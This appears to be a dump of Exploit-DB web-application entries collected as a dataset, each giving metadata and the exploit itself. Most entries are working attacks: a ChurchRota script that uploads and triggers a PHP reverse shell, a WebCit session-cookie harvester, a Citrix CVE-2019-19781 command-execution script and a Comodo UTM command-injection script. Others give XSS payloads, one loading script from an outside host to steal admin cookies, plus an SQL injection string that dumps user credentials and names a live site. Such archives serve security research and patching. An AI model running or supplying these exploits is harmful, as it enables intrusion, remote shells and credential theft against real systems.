deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49443
Description: ChurchRota 2.6.4 - RCE (Authenticated)
Type: webapps
Platform: multiple
Date: 2021-01-20
Author: Rob McCarthy

Exploit:
# Exploit Title: ChurchRota 2.6.4 - RCE (Authenticated)
# Date: 1/19/2021
# Exploit Author: Rob McCarthy (@slixperi)
# Vendor Homepage: https://github.com/Little-Ben/ChurchRota
# Software Link: https://github.com/Little-Ben/ChurchRota
# Version: 2.6.4
# Tested on: Ubuntu

import requests
from pwn import listen

############################################################################################################
# Description                                                                                              #
# Church Rota version 2.6.4 is vulnerable to authenticated remote code execution.                          #
# The user does not need to have file upload permission in order to upload and execute an arbitrary file.  #
# The application is written primarily with PHP so we use PHP in our PoC                                   #
############################################################################################################

# credentials of the low privilege user
USERNAME='slixperi'
[CREDENTIAL_REDACTED]'

LISTENER_IP = '127.0.0.1'
LISTENER_PORT = '4444'
TARGET_IP = '127.0.0.1'
TARGET_PORT = '8081'

# set the credentials for login POST
credentials = {"username":USERNAME,"password":PASSWORD}
# create a session to preserve session state
sesh = requests.session()
# login as our low-privilege user (normally only admins can upload files)
sesh.post(f"http://{TARGET_IP}:{TARGET_PORT}/login.php", data=credentials)

# define the payload
payload = f"<?php $sock=fsockopen(\"{LISTENER_IP}\",{LISTENER_PORT});$proc=proc_open(\"/bin/sh -i\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>"

# file upload
sesh.headers.update({"Referer": f"http://{TARGET_IP}:{TARGET_PORT}/resources.php?action=new"})
files = {'resourcefile': ("shell.php", payload)}
sesh.post(f"http://{TARGET_IP}:{TARGET_PORT}/resources.php?action=newsent", files=files)

l = listen(LISTENER_PORT)

# execute the file
sesh.get(f"http://{TARGET_IP}:{TARGET_PORT}/documents/shell.php")

l.interactive()
Exploit-DB #50601
Description: Cibele Thinfinity VirtualUI 2.5.41.0 - User Enumeration
Type: webapps
Platform: multiple
Date: 2021-12-16
Author: Daniel Morales

Exploit:
# Exploit Title: Cibele Thinfinity VirtualUI 2.5.41.0 - User Enumeration
# Date: 13/12/2021
# Exploit Author: Daniel Morales, IT Security Team - ARHS Spikeseed
# Vendor Homepage: https://www.cybelesoft.com
# Software Link: https://www.cybelesoft.com/thinfinity/virtualui/
# Version: vulnerable < v3.0
# Tested on: Microsoft Windows
# CVE: CVE-2021-44848

How it works: By accessing the vector, an attacker can determine if a username exists thanks to the message returned; it can be presented in different languages according to the configuration of VirtualUI. Common users are administrator, admin, guest...
Payload: The vulnerable vector is "https://example.com/changePassword?username=USERNAME" where "USERNAME" need to be brute-forced.
Reference: https://github.com/cybelesoft/virtualui/issues/1
Exploit-DB #11403
Description: Cisco Collaboration Server 5 - Cross-Site Scripting / Source Code Disclosure
Type: webapps
Platform: multiple
Date: 2010-02-11
Author: s4squatch

Exploit:
Cisco Collaboration Server 5 XSS, Source Code Disclosure

Discovered by:  s4squatch of SecureState R&D Team (www.securestate.com)

Discovered: 08/26/2008

 

Note: End of Engineering  -->  http://www.cisco.com/en/US/products/sw/custcosw/ps747/prod_eol_notice09186a008032d4d0.html

Replaced with: http://www.cisco.com/en/US/products/ps7233/index.html and http://www.cisco.com/en/US/products/ps7236/index.html

 

 

XSS

===

http://www.website.com/webline/html/admin/wcs/LoginPage.jhtml?oper=&dest="><script>alert('xss!')</script>

 

Java Servlet Source Code Disclosure

===================================

The source code of .jhtml files is revealed to the end user by requesting any of the following:

 

Normal File:                        file.html

 

Modified 1:                                         file%2Ejhtml

Modified 2:                                         file.jhtm%6C

Modified 3:                                         file.jhtml%00

Modified 4:                                         file.jhtml%c0%80

 

Cisco Collaboration Server 5 Paths It Works On (list may not be complete)

=========================================================================                                                                                                            

http://www.website.com/doc/docindex.jhtml                                                                                                                                                                                                

http://www.website.com/browserId/wizardForm.jhtml

http://www.website.com/webline/html/forms/callback.jhtml

http://www.website.com/webline/html/forms/callbackICM.jhtml

http://www.website.com/webline/html/agent/AgentFrame.jhtml

http://www.website.com/webline/html/agent/default/badlogin.jhtml

http://www.website.com/callme/callForm.jhtml

http://www.website.com/webline/html/multichatui/nowDefunctWindow.jhtml

http://www.website.com/browserId/wizard.jhtml

http://www.website.com/admin/CiscoAdmin.jhtml

http://www.website.com/msccallme/mscCallForm.jhtml

http://www.website.com/webline/html/admin/wcs/LoginPage.jhtml

 

Related Public Info

===================

https://www.securityfocus.com/bid/3592/info

https://www.securityfocus.com/bid/1578/info

https://www.securityfocus.com/bid/1328/info
Exploit-DB #48975
Description: Citadel WebCit < 926 - Session Hijacking Exploit
Type: webapps
Platform: multiple
Date: 2020-10-30
Author: Simone Quatrini

Exploit:
# Exploit Title: Citadel WebCit < 926 - Session Hijacking Exploit
# Exploit Author: Simone Quatrini
# Version: 926

#!/usr/bin/env python3
import argparse
import requests
import time
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning


requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


parser = argparse.ArgumentParser(description="Webcit <= 926 Session Hijacking")
parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: http://192.168.1.111:8080/")
parser.add_argument('--verbose', '-v', action='store_true', required=False, help="Shows the full response")
args = parser.parse_args()

url = args.url
verbose = args.verbose


def check_endpoint(url):
	headers = {'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'}
	response = requests.get(url+'/dotskip?room=_BASEROOM_', headers=headers, verify=False)
	if response.status_code == 200:
		print("[+] WebCit is reachable\n")
	else:
		print("\n[-] WebCit response code: ", response.status_code)
		sys.exit()
		
def harvesting(url, verbose):
	#Current Timestamp
	epoch_time = int(time.time())
	#harvesting technique only search for user that logged-in within the last ~20 minutes.
	#increase the search_back_in variable's number to search even backwards (it will require more time and requests)
	#Also, make sure that you're using the same timezone of the server
	search_back_in = 999
	print("[/] Credential harvesting in progress...")
	while search_back_in > 0:
		payload = str(epoch_time-search_back_in)+'|||||'
		payload_hex = payload.encode(encoding='utf_8').hex()
		headers = {'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36','Cookie':'webcit='+payload_hex+''}
		response = requests.get(url+'/dotskip?room=_BASEROOM_', headers=headers, verify=False)
		try:
			cookievalue = bytes.fromhex(response.cookies['webcit'])
			cookievalue = cookievalue.decode(encoding='utf_8')
			parts = cookievalue.split('|')
			
			if ((len(parts[1])) and (len(parts[2]))):
				print("Credential found: ", cookievalue)
			
		except:
			if(verbose):
				print("[-] Invalid returned cookie value not valid, skipping")
		search_back_in = search_back_in - 1
	print("[+] Credential harvesting done.")
	
# Default actions if only '--url' is passed
check_endpoint(url)
harvesting(url, verbose)
Exploit-DB #47901
Description: Citrix Application Delivery Controller and Citrix Gateway - Remote Code Execution (PoC)
Type: webapps
Platform: multiple
Date: 2020-01-11
Author: Project Zero India

Exploit:
#!/bin/bash
# Remote Code Execution Exploit for Citrix Application Delivery Controller and Citrix Gateway - CVE-2019-19781
# Usage : bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUTE e.g : bash CVE-2019-19781.sh XX.XX.XX.XX 'uname -a'
# Release Date : 11/01/2020
# Follow Us : https://twitter.com/ProjectZeroIN / https://github.com/projectzeroindia
echo "=================================================================================
 ___             _           _     ____                 ___           _  _
| _ \ _ _  ___  (_) ___  __ | |_  |_  / ___  _ _  ___  |_ _| _ _   __| |(_) __ _
|  _/| '_|/ _ \ | |/ -_)/ _||  _|  / / / -_)| '_|/ _ \  | | | ' \ / _' || |/ _' |
|_|  |_|  \___/_/ |\___|\__| \__| /___|\___||_|  \___/ |___||_||_|\__,_||_|\__,_|
              |__/                                                 CVE-2019-19781
================================================================================="
##############################
if [ -z "$1" ];
then
echo -ne 'Usage : bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUTE\n'
exit;
fi
filenameid=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1);
curl -s -k "https://$1/vpn/../vpns/portal/scripts/newbm.pl" -d "url=http://example.com\&title=[%25+template.new({'BLOCK'%3d'exec(\'$2 | tee /netscaler/portal/templates/$filenameid.xml\')%3b'})+%25]\&desc=test\&UI_inuse=RfWeb" -H "NSC_USER: /../../../../../../../../../../netscaler/portal/templates/$filenameid" -H 'NSC_NONCE: test1337' -H 'Content-type: application/x-www-form-urlencoded' --path-as-is
echo -ne "\n" ;curl -m 3 -k "https://$1/vpn/../vpns/portal/$filenameid.xml" -s -H "NSC_NONCE: pwnpzi1337" -H "NSC_USER: pwnpzi1337" --path-as-is
echo -ne "Command Output :\n"
curl -m 3 -k "https://$1/vpn/../vpns/portal/$filenameid.xml" -H "NSC_NONCE: pwnpzi1337" -H "NSC_USER: pwnpzi1337" --path-as-is
Exploit-DB #49347
Description: Click2Magic 1.1.5 - Stored Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2021-01-04
Author: Shivam Verma

Exploit:
# Exploit Title: Click2Magic 1.1.5 - Stored Cross-Site Scripting
# Exploit Author: Shivam Verma(cyb3r_n3rd)
# Date: 2020-12-25
# Google Dork: N/A
# Vendor Homepage: https://www.click2magic.com/user/agent/index
# Software Link: https://www.click2magic.com
# Version: 1.1.5
# Category: Web Application
# Tested on: Kali Linux

Attack Vector: This Vulnerability Leads an Attacker to Inject Malicious Payloads in Chat section each time admin/user visits and manages the user data, The Malicious Payload(XSS) triggers and attacker can capture the admin cookies and access the users Data

Step 1. visit the link
Step 2. Start a new Chat
Step 3. When ask for name paste your Xss Payload
Step 4. Wait for the Administrator to click on Your link
Step 5. You will receive Admin Cookie Everytime he Process the Request

---

XSS Payload: "><script src=https://.xss.ht></script>
Exploit-DB #35248
Description: clientResponse Client Management 4.1 - Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2014-11-15
Author: Halil Dalabasmaz

Exploit:
# Exploit Title: clientResponse Client Management XSS Vulnerability
# Date: 14-10-2014
# Exploit Author: Halil Dalabasmaz
# Version: v4.1
# Vendor Homepage:
http://codecanyon.net/item/clientresponse-responsive-php-client-management/3797780
# Tested on: Chrome & Iceweasel

# Vulnerability Description:

===Stored XSS===
The message system of script is not secure. You can run XSS payloads on
"Subject" and "Message" inputs. If you use "Subject" input for attack and
send the message to admin when admin login the system it will be directly
affect by vulnerability. Also profile section inputs are vulnerable.

Sample Payload for Stored XSS: "><script>alert(document.cookie);</script>

=Solution=
Filter the input fields against to XSS attacks.
================
Exploit-DB #50317
Description: Cloudron 6.2 - 'returnTo ' Cross Site Scripting (Reflected)
Type: webapps
Platform: multiple
Date: 2021-09-22
Author: Akıner Kısa

Exploit:
# Exploit Title: Cloudron 6.2 - 'returnTo ' Cross Site Scripting (Reflected)
# Date: 10.06.2021
# Exploit Author: Akıner Kısa
# Vendor Homepage: https://cloudron.io
# Software Link: https://www.cloudron.io/get.html
# Version: 6.3 >
# CVE : CVE-2021-40868


Proof of Concept:

1. Go to https://localhost/login.html?returnTo=
2. Type your payload after returnTo=
3. Fill in the login information and press the sign in button.
Exploit-DB #9727
Description: CMScontrol (Content Management Portal Solutions) - SQL Injection
Type: webapps
Platform: multiple
Date: 2009-09-21
Author: ph1l1ster

Exploit:
#=Info=======================================================================#
# Software: CMScontrol (Content Management Portal Solutions)  Sql Injection  #
# Version: 7.*                                                               #
# Vulnerability: Remote Sql Injection                                        #
# Google Dork: "index.php?id_menu=" CMScontrol                               # 
# Off. site: www.cmscontrol.com                                              #
#============================================================================#


#=Author==============================================#
# Author: ph1l1ster                                   #  
# Date: 20.09.2009                                    #
# Contact: icq: 612672 | email: ph1l1st3r@gmail.com   #
#=====================================================#


#=Sql Injection===========================================================================================================================================================#
# Exploit: http://site/index.php?id_menu=82+and+1=0+union+select+unhex(hex(1)),unhex(hex(concat_ws(0x3a,user,password))),unhex(hex(3))+from+users--                #
# Live demo: http://www.galsi.it/index.php?id_menu=99999+and+1=0+union+select+unhex(hex(1)),unhex(hex(concat_ws(0x3a,user,password))),unhex(hex(3))+from+users--   #
# Login page: http://site/admin/login.php                                                                                                                          #
#==================================================================================================================================================================#




#=Greetz================================#
# mr.gr33n aka mr.Br0wn, easy-, Micr0b  #
# 0wners Team and all milw0rm team      #
# CW.WS and all CW team                 #
# All Russian and other h4x0r5          #
#=======================================#

# milw0rm.com [2009-09-21]
Exploit-DB #52181
Description: CMU CERT/CC VINCE 2.0.6 - Stored XSS
Type: webapps
Platform: multiple
Date: 2025-04-11
Author: LiquidWorm

Exploit:
# Exploit Tile: CMU CERT/CC VINCE 2.0.6 - Stored XSS
# Vendor: Carnegie Mellon University
# Product web page: https://www.kb.cert.org/vince/
# Affected version: <=2.0.6

Summary: VINCE is the Vulnerability Information and Coordination
Environment developed and used by the CERT Coordination Center
to improve coordinated vulnerability disclosure. VINCE is a
Python-based web platform.

Desc: The framework suffers from an authenticated stored
cross-site scripting vulnerability. Input passed to the
'content' POST parameter is not properly sanitised before
being returned to the user. This can be exploited to execute
arbitrary HTML/JS code in a user's browser session in context
of an affected site.

Tested on: nginx/1.20.0
           Django 3.2.17


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5917
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5917.php


13.01.2023

--


$ curl -k https://kb.cert.org/vince/comm/post/CASE_NO \
> -H "Cookie: sessionid=xxxx" \
> -d 'content="><marquee>ZSL</marquee>%0A%0A&csrfmiddlewaretoken=xxx&paginate_by=10&reply_to=xxxxx'
Exploit-DB #50474
Description: Codiad 2.8.4 - Remote Code Execution (Authenticated) (4)
Type: webapps
Platform: multiple
Date: 2021-11-02
Author: P4p4_M4n3

Exploit:
# Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated) (4)
# Author: P4p4_M4n3
# Vendor Homepage: http://codiad.com/
# Software Links : https://github.com/Codiad/Codiad/releases
# Type:  WebApp

###################-------------------------##########################------------###################  
#    Proof of Concept:                                                                              #   
#                                                                                                   #
#   1- login on codiad                                                                              #
#                                                                                                   #     
#   2- go to themes/default/filemanager/images/codiad/manifest/files/codiad/example/INF/" directory #
#                                                                                                   #
#   3-  right click and select upload file                                                          #  
#                                                                                                   #
#   4- click on "Drag file or Click Here To Upload" and select your reverse_shell file              #
#                                                                                                   #  
###################-------------------------#########################-------------###################

   after that your file should be in INF directory, right click on your file and select delete,
 
   and you will see the full path of your file
   
   run it in your terminal with "curl" and boom!!

/var/www/html/codiad/themes/default/filemanager/images/codiad/manifest/files/codiad/example/INF/shell.php

1 -  # nc -lnvp 1234
2 - curl http://target_ip/codiad/themes/default/filemanager/images/codiad/manifest/files/codiad/example/INF/shell.php -u "admin:P@ssw0rd"
Exploit-DB #48825
Description: Comodo Unified Threat Management Web Console 2.7.0 - Remote Code Execution
Type: webapps
Platform: multiple
Date: 2020-09-22
Author: Milad Fadavvi

Exploit:
# Exploit Title: Comodo Unified Threat Management Web Console 2.7.0 - Remote Code Execution
# Date: 2018-08-15
# Exploit Author: Milad Fadavvi
# Author's LinkedIn: https://www.linkedin.com/in/fadavvi/
# Vendor Homepage: https://www.comodo.com/
# Version: Releases before 2.7.0 & 1.5.0 
# Tested on: Windows=Firefox/chrome - Kali=firefox
# PoC & other infos: https://github.com/Fadavvi/CVE-2018-17431-PoC
# CVE : CVE-2018-17431
# CVE-detailes: https://nvd.nist.gov/vuln/detail/CVE-2018-17431
# CVSS 3 score: 9.8 

import requests

def RndInt(Lenght):
    from random import choice
    from string import digits

    RandonInt = ''.join([choice(digits) for n in range(Lenght)])
    return str(RandonInt)

if __name__ == "__main__":

    IP = input("IP: ")
    Port = input("Port: ")

    Command = '%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a' ## Disable SSH
    '''For more info about command try to read manual of spesefic version of Comodo UTM and 
       exploit PoC (https://github.com/Fadavvi/CVE-2018-17431-PoC)
     '''

    BaseURL = "https://" + IP + ":" + Port + "/manage/webshell/u?s=" + RndInt(1) + "&w=" + RndInt(3) +"&h=" + RndInt(2)
    BaseNComdURL = BaseURL + "&k=" + Command
    LastPart = "&l=" + RndInt(2) +"&_=" + RndInt(13) 
    FullURL = BaseNComdURL + LastPart
    AddetionalEnter = BaseURL + "&k=%0a" + LastPart

    try:
        FirstResponse = requests.get(FullURL).text
    except:
        print('\nExploit failed due HTTP Error. Check given URL and Port!\n')
        exit(1)
    
    SecondResponse = requests.get(AddetionalEnter).text
    if SecondResponse.find("Configuration has been altered") == -1:
        print("\nExploit Failed!\n")
        exit(1)
    else:
        print("\nOK! Command Ran!\n")
    exit(0)
Exploit-DB #52257
Description: compop.ca 3.5.3 - Arbitrary code Execution
Type: webapps
Platform: multiple
Date: 2025-04-17
Author: dmlino

Exploit:
# Exploit Title: compop.ca 3.5.3 - Arbitrary code Execution
# Google Dork: Terms of Use inurl:compop.vip
# Date: 22/12/2024
# Exploit Author: dmlino
# Vendor Homepage: https://www.compop.ca/
# Version: 3.5.3
# CVE : CVE-2024-48445


The restaurant management system implements authentication using a Unix
timestamp parameter ("ts") in the URL. This implementation is vulnerable to
manipulation as it relies solely on time-based validation without proper
authentication mechanisms.

Technical Details:
The application uses a URL parameter "ts" which accepts a Unix timestamp
value.

Steps:
1. Find a vulnerable restaurant.

2. Get the current time in the UNIX format:
    Linux: $date +%s
    Windows Powershell: [int](Get-Date -UFormat %s -Millisecond 0)

3. Replace parameter in url with the new value
Exploit-DB #43377
Description: Conarc iChannel - Improper Access Restrictions
Type: webapps
Platform: multiple
Date: 2017-12-20
Author: Information Paradox

Exploit:
# Exploit Title: Conarc iChannel - Unauthenticated Access/Default Webserver Misconfiguration allows for compromise of server
# Date: 2017-12-19
# Exploit Author: Information Paradox
# CVE : CVE-2017-17759


https://(affectedserver)/wc.dll?wwMaint~EditConfig

The customized webserver used by iChannel is based on an outdated and
vulnerable version of WestWind Webserver. This page is available,
unauthenticated, to a malicious attacker.

By visiting this link, the attacker can access the webserver configuration
edit page. This page reveals sensitive information, allows for alteration
of the webserver configuration, upload/modification of the server's
configuration and can result in a Denial of Service attack by deleting the
configuration.

This has been acknowledged by Conarc and they have been notified of the
impact.
If your iChannel install is available publicly, this can result in complete
compromise of the server, the web application and severe information
leakage/DOS.

Resolution:

Conarc has been notified of this issue. Until this issue is patched, the
affected installs should be removed from public access. In the case of
private deployments, this page should have an ACL applied to prevent
unauthenticated access to this page.
Exploit-DB #52428
Description: Concrete CMS 9.4.3 - Stored XSS
Type: webapps
Platform: multiple
Date: 2025-09-16
Author: Chokri Hammedi

Exploit:
# Exploit Title:  Concrete CMS 9.4.3 - Stored XSS
# Date: 2/09/2025
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://www.concretecms.org/
# Software Link:
https://www.concretecms.org/download_file/8e11ad24-cc1e-4880-8553-7c18ede22c50/2658
# Version: 9.4.3
# CVE : CVE-2025-8573
# Tested on: Windows XP


'''
Description:
A stored XSS vulnerability in the Concrete CMS admin panel allows
administrators to inject malicious scripts into the site's tracking codes,
which then execute for every site visitor.

'''


Reproduction Steps:
1. Login to Concrete CMS dashboard with administrator credentials
2. Navigate to: Dashboard → System & Settings → SEO & Statistics → Tracking
Codes
3. Locate the "Footer Tracking Codes" text input field
4. Insert malicious JavaScript payload: <script>alert('XSS')</script>
5. Save the configuration changes
6. Visit any frontend page of the website

Observe JavaScript alert execution on page load